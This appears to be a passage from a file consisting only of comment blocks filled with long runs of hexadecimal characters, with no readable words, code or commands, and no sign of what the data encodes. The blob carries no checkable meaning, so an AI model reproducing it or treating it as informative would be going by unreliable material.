b8c5c4ba7e790a1104537785c4f78b3a04d3a301e7cb64a9956e836ad5cbcd8458662579e469c914f73684e1397a260a9e065b6a0c00727528a101f0a1fa5185ef401547cbed4c788394cd2f0d95836802cbbb8deba08ab396cb5f7b490fb01668f4f78df2509bd2dbd5b0cd008f22d844f6f53320b5727adeeb2323f82148b740df3160c7ac7*/
/*d6ae8571ec3389bd3bbda3e112f675dc8b7ef7515d11f818b6a3db6b99fd35b880bf3283d0581714e035a5ef7f0368e256523b31b795929a58678045345dd3cfc09303083e69630a1d21fe50142afbe6c35b39340cb53fc07826e1aa6871a19337e27d9091d8a82df0edfca0722c4ebdd3255f6b15fedb4d1e3930d8a0778a9b2fd79c352bbabaeaa0fe63206a90a14b493013fe23ed55e6f2848dfb2f7d08a6c491c16f7190150c100333f0b1552f1501c350bbf4b203328adab08167ad586fcb036108824d5771dbe85f6c540c5d510af6272a8270b0ccc98903271d80b6f06ab9182fadeb4cdf9eade674691306a8ff8d06ef473e284e0debbe26c22fa46238ee60b29e3ac3759fdbf4b6f996f791b46d34c01c7bcf5f39e3ca1fdb1b0ae17a3cf0a162327b867e10a09f6faa60eef27436ed27f93812a6bec1a6b292b68faff2105aee1c508b9bef52bbdcd4d273ba9bd1f34688463189674b5acafd01eef0502f1c581ef1f3211e47c1df3ca1b036e5372acba599d3535404dd4e1bf8df82576118b1015bca2cd37e8d658d93aef0dac8e31d9fb732f10d01afd36f384c5798a111fc9a2e560fbc9116fc4476280e9a22b900d27b3fc7ae0c5ab34145ae94403c8b7f12cf25090d10b447ca3b59aff848ea1972fa2a32bbd4fd65580955bf07d1d66ecad1687260b82850b582ac89569754e66c8d019da9ae0d7d137e202ed932faebee977705bc7e6cebf66c7e295ec0b417b2dce7d7f8b4684b3fdacffd8220d4023bf7ad72e68a849af2202c36efeed4ce09ebf8a5bbef9a63accf93b7a3ec93893b0312589d72ebfcb18367cfbbbe05c424695509b79a359223ba555350efeb6f984ef4a29cf83741d83482bc7550685ae9b394d7f380c1315afad616ec22a40593faefa6f7f10523d5eca8834930673398b960aa3f8e22e6ff85a95c19e2f3678e4c1a212567db7b2961ac9a13b669057dc91c9258fd56c6424ef02e6bbd1a09e6fb1c596ce21028ac83b3c3611022e27668e7670147a03b4ab100c942096498ec28322bd92ce9ff8fa4e306c7f182c1094646a3fd4eedd40051522681a3d367e563195471509cbd5e5199da7d70391924a6864c65c83541a3b38176e63b7b5ee5c708966186418f7f427f2bcde318fe5c98589270834f0cdc6804cd859eb7eb8f1bae31b8b546dbbcc1b64fce81d4a62f07c33d47d9923b5a64759b622b7f4e91fcc96596d01b668b2d317f6ac0260e5d10fb555cc6ecb2f911f8f8922dab1886d641f349283d3546ee469623187c8a567d80d3e78b306574e28d6c59f260c667c8606c7c666111f626a9af1f092e7a871b5c0b1cb99d1e223cda4c851c10b31b64d4c9d678688f14e4bfd91222b854edd0ec83116be21a2cbc1f38cb534d3727c5672144b5181988673493bc5adef60dab784c6074d2a44c60f92aed085f8fdb1bd0a362eb68ddfd3307bfc153e823af6922cf55ec3fe7b23dae12b101691dd6e2058e3df15ec9b54fe5d7e6d7abda5c76521bbe25e280b81a2a797adc552265787f5b6b57ae1dcb582ee87f5c16df902a0a1232cba38315cd520a4609b3e2dae6a455568232a815ad0ebd94a57adce75fd6500877afcab563d2dcd4ea5dda72d57f849c2387ee38f77ab37726f4d304b1f4f0af068f4908d649705021152a00f345b06e7082d42079b4c1d48933ea900e1e9074d02f08c7cf80ff6b9b2dd5aece678e911f984b93e661589561372a103c0ec6691eea3f46a7fdb7df9ce60852da33d22b9e11cef087b59eedf77d3569e61eebab9e471ae9b521aea0930401c62cf91623888c92ed6af5c08662596f16919d5379ce5116722ecb0c307c585a450726c23a324db97a6c842c6598ae61f6801bd0e0b165fc7e4d4f508718cb0697b66068f6cb2f4d4460ac278c67c504a2567ff4556a3d294ace2b1e833c4802de7998dfc3530d06acad16a30d720d3cf77c759ceb986684c5ecc4e80e1581dbb88381b9b5b18a812c30717c936c6ce4364d9bb861b9b2fdc048e0f2315deee3c30075c78a25862985dc9fc92e953843067da24692c5bdac8d862092e2ba6db98fda34166d8d966b221d2fc633ffe8574883a08a050e1edcabc2c9052a1eae801459b34463f62f9c7f3c3924b7ed479991287541032dcc0670599b18f82d1e1e89ed108647f2039f929c29c9a98b3f3d01084886778d1132ce01e1399934f96fa7e42bed517493d1b08eee94a759e1bf2dc0a9c74ee44795f7423a75f7eee04681bf673b76422d0c47947325a4f0357b38a44c5071fd746184682779a9e5a55f8618bc4b04e6d825dcde6ae700ba1f8291f1a59f196836d1597079e292ebd4158dbc039f48cb47aff4adf17216799cf0a739be92a38237b5db5b72ea5b625e2f397b38ea477ae58427764259c3da16c725a97517f99bbc3e617d27eb96bbf2195222f428187fbd668a4d9c43d26ffcc9e138b86f285046e16e7d6df5a7a98eb3cd5ef608925fe8382082ccd3a8b1fc5118dd17f05d31df361b30eb9cb1bf8f78ed225065bdf085ce05b075ddb0540440746ee4f7dd55bcef26bf2e130621aed9d0b751193c897d846c20da3564de1986e00c8f0ac4e84d6fdae3c14e7bd4305a42106aec105e83bfc88bf17ddbd052625d5ac5d5010b7ed59622b61d94487a04e15a1ee6023c570ffaa1ee42d17cacb1d5f13b11c228edf421e2e975fcf8db9306f149e8d8b44bb91cbff73c1a1d1bff40a4fe286e5ec5a974c7a99d1465674ac925c282eea34e9843ce6e8e41fe77e555ef61267090ae5debe615151b9488a6c82edd5abafb991be2dcb0*/
/*b27378770c8e2a2afa0416ca63b4ec14f66b4ccc3cd6a66b0a0f045c55548b0e1a0face7e3582f25332b488bdb42fbf8c8d6273525394ba2e8ed20624c7b5889de71bf303e2d916000cf70ab13b1ce7dd54c38e6109af9463c8bac188cc6e51f14d9ce326c5a8ca60ca90e372ef3167c94449973486264b8e8aa3fe856f5be2990c6a14e2c0b53be62ac14f29de20a58f952ecf7f399c648c4840759c48e44dfd05d79e51cd08fe7c37af9e425158ad1e4dff78ea76e440f23f5b43bb4c6bef4377474ea46c2a65788bbfae8c91d6926b5c6464e9829953d882fec8e490bf18ddc94c6f0b4f923f15003815113a919d1172c9f6d626128b2d937e4fa8f778f7257266ae7488fa4ef611761063fd911b62363ad9136b9d0c7a1557000b8636f240efb124d9b53cb0266aa26f74eea5d2581512f5699250dd4ea936e92aa3f1df99af1bcee0f3a78392516fc20e7965c7eda78d204172f69695fe8d194b3ee163e736884af830a77f54363405ac720ac7f441855c3eec0b3ee96dd10ca2070aac72890538e62caa035d4475cb5ce6314cda53c15398ee5b806752901bb9a2a29987b1dd700997c7bb310c7218afaaa7f206c11c6170861b5f73494baed01731b2716cc4486fd9da01ca821212f1063b9d8ee7a8fb4e530cee920fb6f7018610ed33045400320cf2ad358827aa19afbb5ca798af149c7c3a383746584d2c76304dd5b74ebaa08e9c89d5c8be4a9976ecbac13f4592f915da39bd60dbeedca30568eb99ed37787f71d214e360dfe7810fdea6dff73a26d0e19023dfd8de73ef2f985795a379a939ce67b8227a061545f5559b9a3e21a9e0a2d12acc382f75be69995c391d237ba6f18e2f37d29fe087d1914fc08a32a2a755be59fa147e6eab91db01cc5b8a115c8f589283c621d572fa753fcf79f8dedb7cb402539aee93a9fa6d421ee3c0488e8bf4a2848f0c27af5204175345fe57696eacee6e4a1959a6a9e780e229f45509bd3da0f0d908ef3fb9a3c80d390ff3a45615f538f6dfedde44a225859715fbe79aead3c271c3b55eefb2201d5e937e7f29ef3faa591676444de907e1ee680e8dbf8ae137e28b3ca5763ec5a820bdee19f8b01e1e3ec1e61c31b899c0cbefa9fd69a76dd5e00f35913adbd8c29ddcccfbc0b4e3fabeed0b268dac67c4b4d5ce061695a3fc7ea1fd5104cbad8f3a21500d38c941c8b2cbd8f3162ff23485bb34c2b5a4b94f0a62111ab5c661c13c718b195943d24c553600ca33b2fdbd7a51c21da335482ba7eb2f8edb91d139ced062b9111bf4c4e94cca2a8c3795650b4a56be6e79e3f3bc04743f2bbeeda51af469792ac3f32510d6b304f8609504f3d89955296cd1b4e0d5656f16de0db457458f701a0d9c2a5c4f3fd3fc5af43fd558e92d42abc98a36d9ccf30e41b186954cf1c852c863f9f20811f73b23083f0011a156822b44d9ba3459b528aa2d2869e7bb758ac6a4e9f90506b51902dab82a2f3608dcfcc99d15e41614e7c8f36fce35999cfd87fe5268a49cf4c64491773de0ef26397936198e7c3a806b008c0d29dfe11018a5639b3657e386dcaf86c96e55ab4227c66edab3a8878f95c02fa0e0742385b9c728031726c9f223bdd3b0bf415130e4ad41e0d5163b6c93f8912eddce41cdf90aa90d8c555ea3ea83a864af141c5c93e4780365f174d578082938dbc7ee5ff5929715b602ef06fc41369cb45c06685b7bc8852233ebc4e9376f73b02715fba185a401913f303612c2b633c32c13ba9352b3a411aedb0be058be86b9c8d813adaea141a0f83bb0fcf3f787cc22c321acf7f140b4ce8c1e7f5cff2511195f991fdcdf8862b979568b65ddb9a5e1cfd62cca5fc4bd630f3fe86c45857c3970f8f71168b024da9c90fe7e6a066d2f7ccb34804f8a7a8c162dfb2bc7022a2520bf038033f8e39ae800382aa6ac3fb619fb307360949f3a99ab656e00948141e73bac180b0bfdfbe7992dc6142f8bf117e4fbc6b726193222c38730568686c38030197d5e06459afeadedfa16d7741d98df99278a86021b9c6b86f486951f323dfaf43ea38f03f1ea66ac197ccc0354152d5d73c2c9ec52141e66d68a627be23490c21df0dfdfc5d59d364069266cc104e529ff64fb001eb386d3e40e3bd940e2a4cffd72bbff36e300fd9013f6472572aba2d0ee25b1f3c41348bf58f64502433080627cc44e2493ae2a1b32470a43794d98e3a3843f3efe30a0de93e0b99cbabb2c86199b3dd1d405117a9a5fc940f8204022a69b63c53e5c5d857f9b1492f81fbccee6f24d6c58b6542977d8265520ebe4a4f46a65be6dc692cf3b0c373a7671d4372c70334791a6b324e0885e157b859aed6fc292ae091230807a8004d5eed4091c75c29f78f70ec99aeab657734747201ebbc1c7069df56f6a02396cfe1ea60f3d711d1e1d8a37986a519f5f964f03bea06a4417a48df514fd06f28608808fe6015a476c707bc36145797ae873bfc5ef303451c5066c3a25a239cc6d2308477381703d9f73ef7e7d0980cb0a42d91fd5151fb87db0a7ac3a96cafb0cfc5aabd9fdc2dd141082c9675ffac4b302c709426813759f9981f43d3c55a8653e325e9fe30443922d2b58717c6c99f1f467abc87f85ebcc13fc6670d687ba202818a4ec3071b63789bcee64e3c9e418c3d173849ca6004e8366707f1109185702291c88dfd862ce48a480d465dd2c90eaa9edaa44773f1ac93815c61d294167822d09afbc7716a747eaf84f47100ff25c4b9f61eaca6df845c17652f510ed2408d29ab731e853a360486b3cc6780fd9c3a45fae2eebc00ba87bd48b117*/
/*0f20674a019bcec41fbd76f32497b061145db1e8a4fbcae9496d5ff266984fa649b6eda55db58845bcb45e61ffef9cf36518fcdbb02354265c3b9b4f73fc09ddf25de52adab152d5ee9bd35e38dd112ed8d7097d385de84eb344fceb10311dbc305253d03568df1b4b6d297d85c849888b5d5237b8887456c6bc29bffc2ebc3bb989bb786718cc064df3c48ea8e3bc2e2cfefb8c75ea425263606a32c2bb9a729352b9e704070476ded67534ff9cd348380ad26670a20d2180315f85c2ee1c0abbb8d8490f2706b02e5c3c85ded708c471245ca19a003d75946dc45b44aa9cc9e7c0c137971d1c0328dbfa0e47fdb4aa9a10cc8fce8f69993904b7f4320843edc125ccab10c771a4b13811bb6db06ece00b03443c9d379816c84347965083b4f0c3be7d4ea87dc28871f8a528fa2771f98236ab9b92c5d9961346390c18aeed2a79bdb5fe3002e3ef0f4cac8da11d0ae4cfa8d769f1fc47d0a926904c6ca0f969a3ab6f56a64dc594e4d9ddaebd3de492ddd7800a516b27dfbd300719117bbb5cddeaffcc91880702d7628f622457000476a93f6803f0321e8e3046dfeed7e953e44c021e7bf7d6ba3d83bac748fbb77549c02bdc11651c97284c4a53fa5deaf8a3e0cc76d3a957d3f2d969c20e8b787dccdd96b4e976600dc80e8f5c6793b8e112dbfac586b207d051afe8909c7a6c4e203af99e8ddd6230b3575eaa551fb11de7d762153b39db48e9c2198fa3b309bb36ebd2719d649f75b549034140e3731def8f8bd1a9b8ef5dcd63e1d868b5db441431ec7b477ca0d27583e388458effbd34701f3ca759e498cf0fdf321d1963a64146bb66d34d946b787438a2b17b2c01ec637e82569726894fb1e52682f71a88155cc46732c3976fe2855329ede2dbd4a3473137a67a3ee3a7e1010fb8ace0c7b1c7b2209953f5d4b1d9dd101e334cea95495a0675b11134a1dd567689135fd7e461e4881f230970b646f4172b9fe7d33a1aa9c0dc636b1755745d3a751f6a9c75e80cf56914ec76d60171387a3cdfef513b1d531896a872d47abc41d710bcf590e7881b9b9e9fb585cc1647a07976d126da5fad9f6b1d1b9d1b5ca0ddcc25602733de29aceb90c891adfdfb221266f4687ff3ae7762fef01eda6e6fa8ea63f2da4685ef61271a950072d99814d10188b107399a584064db4f785e654b246d8d9591c3882939dba9f0181cdaeade8c99b8255959a9006f25719bea7a936799f169ef3a4df7e183294d5c7feb2a970904c6a7b9bbd0646287e591aaa51803ebd08f098a25a6a58bb256585681386af442ed9273d40cb68841018e98072078657ad3aa532b477d3599d7b36fd5f8515676cf00679bbd0ee5820e074b94587b35b5648459a163858d45f4ab8df0a1956678b789ad097626b654578e7d2af1d090c50d3b73d0cf7d9f34b675c50ff5479a6b5f33022869c7595a878906b4bd3eadbcce2b5d0966b3f216ff983c585292da1ea4200ffaa584d16ee5b4f560aabef870558fd39f4c5c5fe9495e6a88b010934475af218445ba4a29045f4c87c98e978b1fe780ca8cf3a54f784a0dd0dfa201e4bd97a3548153ecde145da1984c0ca2a55abb02d942591388f25593a35c48cc94c1fc5bac7c1e279e60390444998a4e0ba600a4c874b4f885e3259517e5a80816acb7a151f30ad353c9cf5aee54da5105990b9aae9a52c2af5a81cfcba54fdfd539c77bd9e47f0762327d9efd735242659691c67eeefde346e366d28177e60942a6bd0f1888af3dd79241d8cfdd11c1727a58ddcb6bf0208a0fad1dca4b1efbd3ff03fc22278dbf8c79fdb10a65c15dc6c51731753ae74a94e34a9d8f3f04fb1afe862db0817b9a4460395eba173fb665b22621fe6ceb5dcc55e50622e0c635f91f6033ad8deae20975ce081b315e98f6587b3532cfd6821135943b2b248823daaf19f6628ffe35702e700624265ca2c3a48bea8c0e05ced2acbef7aba9a2722d99351248f89aad025fb958edb05607b54d4b43317ba66cb8876db9ebe57444429408378be7ef03bf8b335af11e404bd4d0c110a463ef422bf8355c086bd1d188803055ef103fc13afe2d939c30cc79f256d6c3cd2a1bab7d5c88233e2bf1b1329a589f2f37deb9c9d32553cef8158ac4402bba435c74994064b59252c6ccfc4f7057dfa7fc7df45af035152f7a42182451f8022f70ae654e2b8e75a0ccba4b512cf3b218bec4f38fc2591a5db6627e409a6959380839d74636697ae263496b1748785ad926293aa97ddd387bfefc78317adf1378790d952ae560feca3ff3c2d249a4db37e9b13c75a33029978ae870cca8d5bd867fefee3b0e73c7a4eacb7ef9b628ff47ac6406cf221d546ebc27bfe66bac5ada064601948f275892bd6fea26a826a105c843e7e25a69bb79e798a619793c4b7bc4d42a83720e8fb2ebfa9c57e9b39da1fda476f140631c1fd84a75394d435362d714fcb8fd6617bc214f4966d8f863c1c8781ed5e952c423705c565fe0d463bc42ae1679af62c8e7552353f082e1f72bdb9154fe231d2482e6a4d80bb4f565eed56407f579cc485a8036444525ba1650f7a9883192bcb417f6dc913268956e91956f6c700bc09cce9bf81ab9356574d7342f13309807f151ab2b209479a5668fac8b89568aa4ac3b7cfb8cd4bca63f24c9f17c8b83305c2721f8e75d1583b7976a6aba9f4fde1bcf26adac7e3a8ec48c2b37c9fb0540db5ef0f76d5bb1b2314a9ca2d366ee4e1dcdd693cdec905518e9d3058952954a6bc07ce6edd072d634e63696b98e73e58a5facce3cba430ced333cc36997b58459601d21f2d*/
/*9c376bdd38518744880a6ae6fafe8d9113be8cb397d1e7efc1404150d55b1cd9e211955d2946d072182e8360c743c46fc87b5c2def5132a68cc9db88d2950399c40de9071326d5364af816389d3202e19971ca3b06868b7623cb2092463ed75d43a9e6d72f4a5396de1b32701bf49a2ad73f698386663ee46e20e07d951bf0e37604aa44dc3b3abdf0f4c1d30a7a89379d6333d873166ba47efe7fc9d1300053ee63a96eca653e0b52144d3324120b953b7ee8afa3d71d5e575715c7498b8ac620dc876fe9cb496ea7d8693c153929b775184a937110381fc58958ca81d9ebfb0144c92bef1f21f3f766313a0efd4de5941ab7caceafc3a844c9397f948431f5b743f7a9afdf0721fb0ba6d2243d368c41c359fa2204ac79ed8a968145af9eab87b17005a75ffae585f8d4379f54d2b6ea9662b48f40c5226eec7a5dca355a0bcd5acc55b047ba861a974dacf22ebbfb5120e0a89c00927ec4db27873656c707b9f6eb210ef1fa6a292edcbae004e6c7101334945bc4eb23ef0e69c1e45b9aa3ede1d5b9d9d0034180fed056c87b35f356e658df878ca54dbaa8c18b0f02e6ccfff097e1088f21ca7ce5e2e11fca3fbd1b01f699761bec795732980c1017f94e96c6e50fe029dec4c9b00cd55c4d619268fa9d2270b27c6901b35505b3a3d1a7fa9b2be06fb33458937f84c7d2da5b88f7da3f67d966144088f9476e3db8f1bb212258adf81dedfa85dbd1e09051bc42757eb8c3421668976b9bf938821c47d88ea0c30d366ebbefd411cf0307b09a3d1cfae5a6d06893aab1c393fc7a2ee195231d4949e6442ca0e73a7cbe6043b4080ebdfa3af8af68065ad0525f8106e33ffb44a23fdd9b9097e4ec121a3c3ffa23e074220325a24aa63177b4f9efc7cf805c7037055c1b057f3634b1fc22df6da21ddb23a410d64abc197ba788fb462eebc8b3f2062a7dd2fdb91533b15c821a62817aa4028ad9bfd6598690071488001e6cadefdce78f590f934040dc77d96cb60e47c7d131eb799dde13c12267efd10e62b0a92d22c67e2a35eccb180a2422bc27e3369ed08b02629d48c1d08dad9411b78bcd19fcfdee385dfe2138e6c885997fd1ec8c0c756c16aaa2fe046b51a668532036396341cfe0df6bc2add1c02b0eedd80710feb64a5f1cb42bb459ab50844f9efff2b8dcde6ccb63f7ec5b20c793b1e538593651dd7a69ad82b549f8de1477229e2d31ddc6df6a4b9a58148ba60631c8dfe82d79eef95850d7339696e562449c2ba5cbcb4c4408bc44706ef7f828aac63b1647c1ecc1b4c2948c9a3714599ca8d0990b92ada444a741cf04d65b701e3a8248d02c6e3a9404cc0131c71932f8249d8736b7663b671d18de148afcbf58e21ec5b90dcac3cbbeee62dd58a379d440b755b8a3bae4eecadec0d1c53c5e4c3fb8217f0219fdb25f372be6722586db05e9b2a39079c6c55ac8d333e7a4b21e4824116af74e99db7938c0b3fa93727a658c85a1b2cd6689d9d92570daf39ec3ac3b5b958f8ea5aff988eb0d6262fbef1d714e33edf826498b938c570e12026fd00f394dfc299c3c366025d6285acd9ec908981f5e3e979470789f33ea94e4a51b7ddba2e447384e9b68d586a1b6b45226f8167a9d20ce5f4c4caad688e586ce1964e30fce0f1ac4cf1ce3a79743e22c9c5016704b883b1da72ee8981aa6811bead20b338ad74fbd0c8072504056f86795414df525d67d487865b340e8869667068a00dcfe2812e193753fc832da90a0a331568c0d039a1df1f2afcb8d9292397ee547cc52fddcf901f6be4184e7b4315b73095051e077ab8eb4a083b6cd8769f950bcdb25f76a49bab24a788a90e365a0945ac25b8bd57106dd77a2ab2459cff99a135f0ae8ddf66257856c262dc6a4642ae7ba7fde335378be215e668e31ca894240725b0c64842dc33b010c877d6c3a011ea66504a2538002984c7b0e5be77e349a6c4e9c9f4d3d94a11b39707ad348b2a4b88e8b5b5cad08fb16f2f35094476ff9b5f9f18492fac48b250699349ef29399d4960100b7303b35e8500cb79d7a4d00fc35f2aa6ffec2428e99135dad074701eaf71bd7c509ce315469a46ba07d5ce8025960853c55d8fc7727cb08fab4fe6b99c0cdb1414b19bce99c449ca7447ab7bc731b0c7ef799881d6b47f4146fc312a3bc30292063e9e76898014c6589c35dee670aa37575709935ce33d480f2292fbac88fbcc647485724dc27ed3e0a6fb0c36dc78d83e068bb316682c11c9dd4bbadfe88e3342abe4b2f1ee4602f1d9c9293a0cc153745714567c4f14cf19c0220e38b5ab53493b9b83f71292f71cc095c5f54f4ce5f70f59f6bb2feb55fd8c4ead64ad9ab51d9406c168e1ac371fb52013b5bcabaa715729a4a62eb4ded6a82e95e39cafa995fabc00df1b9fee668ea9ed4526524b80f99fea9750c0523bd2e3b8a1b40f3e661065e6547b8864c155efcf6899872a80003f54cc9a0eaf9d0e6f609bc556205a6ca569fe84db62ee278cf1c3ee21c7c3b4c96c83403acbf82adbccb670907e02df16f97982730973e32439e217fd49f5d1f169d4d7bf5331fd648ecb8b57d3e786a76f9f3521229b80792a79c599fbf9c2467f2a6de9355556706d46e05c6675f9591c2b613e2f7c483901dc65320f8b0d2ac400f560ae0368e95b7533761ef850e76307d37887b1608c6b2636d30cfe93d28a16eda95dedb1bff3effec19aab8ce95a9ecad9fb925b8586120278a8ed7e649d59119e8663a02f05d74f87a942482b093e63c57fb45ac034e438979f689d7c5792f3cf2da699434d2d0850900e86ce15e11cafd*/
/*7a74817829f36e90b445296668d05a89799784bb159fa7774ec7ce036d1d6bc93adb15581a974512a66942fca74b615643b1369166c48790e53cde585d6b6206033be3e61626c0d5bbf254cc1868aba57bfec8d4326a7a8440bf1337271d7a82ea4b4885b97aff63fc27229674cd05d6d544e71767439493852d9352bcd6704f59641e5c30d3751f79de88aa0640ba37582d22da67a3108aefe5ce9bb8c6c29bcf767f1a3f41e2699cc2c95a80bbff349a20804c9356673f098a20a49f15843c37e2ef4303bb02bbd6e0b6d412c8f98aa38b6cb771d2bedbe4e0b94e8a3547db75143d596a1e12fca6fcdfff0ca1a58b3b413420b2a6ad244c189dfbc4577c508aeb26ad6bd2221fe375742d12424ebb34c487377265c7b7318503a307d18db649a102d027e56515c9fac7c83fe685a19ed2c29f4fb7c65efedca2112b58e516a6c848142798b46b0180b3d188ddcc488cad22a3419fa143a0057d6ca44442d63bda7ac2b789d4511e4bf6d3e71e40f41bf25c0a7fbc14e9c9462d9250744f091309a43c43b5773622dbebdd65112fe29f20ed35af8cea0ff0b17c4bbf6197dc189d3e184bbcbaec76ca4ad63f17428570935fd333501c4ee72b1d1f1d8e10f8e8fc936bf4409cbbe4c6571a7f39f1e5b9e1692a57ebf80edb4122c1d88b69a18c4b145bca8b8a7e7cfc9d9bb9ffa599f8a3f3100a2f0329d0b0f83f21869f0fa2e5f8f24366f36ce023962064c65ef155a5f3649a932bc3e934086a49a39ab87d4ed664b3f7dff280d73e55daa4e774f4dec6fed05cdd1458bc8632caf7ac72eaa1eba3b7853a455345d209f3aeae6e1f16a8d804ea84aeb8289fa700de845ac5ebcec89c548fe7b59b12d325146d82ba0b15b2bc463a18733e834ebe8da81c68184ec8bef9ac338562ea6db53e0459b89dddef555cfbdff2c78ae67ed13cd154e08362f5a40c76af76716d25962a797cb35327915b3bf95bec7d980e573c64dc2ac398fd8dadb97753ea2d7f84aa8e184932563fb038923b0ecf46958ee161b46e7f95f0d98cfd2398845532abd2a3dfd3ce0d78c633d3b1b08a12000cc10a90b2d17896e46e0ae570b8215903cd8405710baa8deb60ba11827ba894c66cace9451b06ee40f354225a69b7c3981f5c7538fbba5b86c98c11cd98717ab704436765ea2a30bc9be196bde56a7716dedfe54219845d65ffa4a4828b7946b34d1a7df9798d6d6c9af9fcb285ba22fd6f2a99bbb3f0e1a49ac59cd53cf0e867626bee78ad398e5561af0878beab87703ef302792f5e8b6f74b704a20aed6682222cec0474a19fe226dd66264dd1233c830c8f9e6025ec167160df735cb7bb0104ae9b7e58e24dd11d5616af37b02884584e64c151aca96ab2de6a5b376b07162914dcf66a5086387df60a0ae9397babef3c7bb03e999bc2e86f7e45383e9f7bf68a408d2a08afa7bfa9e16f55c7ce0d3a4c83ff23e67b2202f85594b29d02d24bb378bd5776b3fd827f5db9bb8825f3b295a919fe021413932aa6712d9a90f189c4aa8b8d017bb0220b83845a4697725c0ae294f56097a84dd4c50822cf2b9aac865d5a8a69f7883407d8ca83d97bbc9e3ca72950a5e28a154845d3d6605297dca6329e093324bd291aacd5a84c4b107673654892c4493878b9a69a858c5af10716c35c384f3d4e82bfbce7bd2c178d2733409995e5ea7f105757e69302d60d413fc01b6c3c43e506c5e982311886539cc750f3efce158850b5ff8ca1872eadf5fd0bea588c73ad578771ab92a3609e925c72538c0f8b60f2858b3df34cb84ddcd85a9a17a018899d160f2caf9619a33c42aa603408caefc456885c0bd7ec3fa6046e8c0ff5fca7c234f83552f0df5f7b3a6552f3205518942569ca19d18d5c641a121ed7305537828ddc49ef51361c1441230e52d60adf959ddf12b4f672e2944984bbf05b9a49c4ce5b24b0e5ccf9d9b888cd3d0021f1a7420416b0dd224d5edd95f5e652d258fc2dfb12827decccc8c9c4be5e43f9fd5b2e7af0b2f115da41e100816a0356f23960e5449880f5b04d1717271bdbbdaa19d218209bb337a4824ade8feff34011b79311cc0d5f34f1c717f3db5f71a14e5f294db909affd04b783ae579a7ef419de1dbf5b58b2e61977752698250d6ff9e138e97e0cef519bc65162c18ebfd9d86e346bd2f0b2f18f0945d1b30b1784f9c21a83308fdfce2db1efe9cc9c9f3c19fda2102b3baaf6feb13edf214624a4fa59e958432aa791da9b16f0ff4ea69e9c3ed3bffc903ed7ff58ce05cd9dab46fa70c3d70a7675a3dbcd9ba02c5b75b76180f6437bbe5f72b4da77f7653d02d7970882a534ed9fda8d9f2e8ad15db9a7d40598d552be33640129ad37f3dc671f88aa6088eed1c9048e39225da0e8ef3328a391869f2cdce52a4f300650e30c36e0f080cd51c1912597161b4c853951f26c2b41805ce047bf7f8f528b498dab3fa1c98aef73fe05fe764c14de64c67286a436d5d9d737df0f74aff65c51aa3a1dcfba6e6adddf54d2af4c17d24a4c2fd35b743667c314e44596f5dc06192f02257d78a9735ba2a82861e856408b25d8ead1515c03675e6500a275fb8c511af006d22c9e9c86bbe02f8e665945138acedbac95a58e8d51208ff0d91ea0b53fdc4081aab8574fd41ab3548992dfda178891aa0afc5f6e5732643bdb1f7769b71114828431bf9ddc0957ebcac42b6a128e48ed11500e238860e23d729989c8ab3a19f078b034bdaa040b4ab084d8b75c7deaf7b3a8cb86c3db91cb6c42db9e978687462d683a1f69c9d2f2ca40d98d72de9c6b59e844cd5cde88c3797b*/
/*75c4948f668072c79a17f0faaa710a4e51c749345beadb00345ded68142f5770916e1f20a7b2ba189e62b46da4b6ab0199d87f3637f17717da949447b6605f8b2b508393df866ee02087c8544876eb2618e59bf9ca87e631e5a719329dd9fd160319ea310b08aff354f4bb4fac6b086d8c3c1ee0971432872ad14cd31052db39afc0fe10d676be186ac1855aa2177fbc29482bbc8034a3cc9561ce01156d826db7166937e98fa95d2dea7ce1ead2c9b279dd4d5b7e32041a757a47064808ae6b92d27f302ef276aa5a4ceb84373541d9a5e8f9eb39d87c8c9f886087f3f9fbdf964c335f1d98dc992b7b05d2a576c2251f56edc17d1c2203baa0b5c0f37c88503ae4f54c976b4205fff960dfeb6d12947c7d0e78477decf765a24fc342da3200c7a922c2deddea5178e2a06cedc95f8370804c7e55b04daa037146c539ce3f904d68b8c8a980c5d0e24b39d2d5579ba3b2b5f0353cab6f444801311a7373b0cd1c4183e690c4df000da222ae68b5a887b81f2efeaedf9d0934db749f90afd7b0d5d83c848d41cad77c12b53ef53e7028283778fc504269833fd3eb9fd6ec7e957b4574d7bf2674c1029fc8c574ea9563c7af08174b67233e848725083813d9043e26b9560d71f08abe05dad4ba3b128ef0842ce13bfc018af7ed0421c7726025fa43be90cdd7d41af34f4e3810e8953cfb13e874a57f107245f583bd20a466453f3ad49aba2e50efaad7010c2596437ad1251fee18e0243390e101dea5280a35123e1fdca60c3a7d66c1966becd8ed147bd08590261932d175d89b13c208450dafb0f68b3c076ccd348326a9db1b254f59e5d959a4fc02b1546803ee6591de32127174ec5b383c3c6380d1300c29ce359193c63d800e66d9f7ff2b05c840250742cb849a359c1dcd4559d14559000195b2a662567b4bee3c4119b2345c204a6e4af519f52302e903cfce91862708ad003ef2f4b1594f78bfa48a3506524c39ec57e329d5c4b7d6c545b518750aa3033c7c5233ab95de721c945efcda88ce643617a645778ba4d1d1af318ef514a85d045a710debf1c4895deed767cd558b8a57efc05d8d541fa6a653814d27fb7700fe4fc10c0c12db6d0dd601e5e8036b865e411dbdbf8c1986fdfed0913c2bf41707735262238ebf9b691f6c6dcc83f10be07a53c3e748cfcf0078fe8426e1611d4d83ccfaa2d77ee7d2178b1cb3c0f69406555578a5695a22a2870e9093508d8428ed6e162c35ee86c37c6ea7961813b716b84a31d2829cb337d09c7923658a7bcfc00f03b39d6e4f53ad8b02c5f63b0c8609948a037f00486933421bb6210b56684f65c8e3d72d3923dd448d81a4a2e6ba1daf311f9743d10a5fe1c0b49c16ec1121ce5a6f3958ea0eb21f4399b23ff6d0373a682dfefd84891b14c6e5ebd180ae043a242b8ebd45651af7a9f7b21922c5306847865700f34842d34dd36937c5175a1cd703409983bc447fd575386a7ed683ef4b8d1035d5e3a5abdf6aee659c5fa7606e5a36943aa0cc1ab89e6fc189c27e1b0715352b9950c9722fb0682c69ee4ac06c10a172b878e3492f3fbd390e40656359d8844e8abd33c5c07c918b80f63a546d84019dc427969b11c8a0c574443c0c3321626df860c0fad8702302d4ec69966146ca6afb05d618d2a64b46f8c60eb60ed3c3c029ba8cf200ba98333019164256fd5efc6770951fed65b23c0ee95ff874dc61229f46ba8f0bcb7907401649834aafb34f239b5f824ab5ebaa5e7853ebec9951e89f099f13ebe0301d48a5ea76a9a111e5dbe7a5f36bb9c0edf0ee8aa8f9e125b48f1954ff6f0c4a929cb2f41f832fbd39ce12a3ca2104bca92c569c0b2218ccaa75a691c6420a07df27c47454e59343c14485c17950f3746d16287ce1f6c0b2bc735f206552c7993c0835b92ae3beeeaa1e8384fc4d9925cab59f9416b0ffe80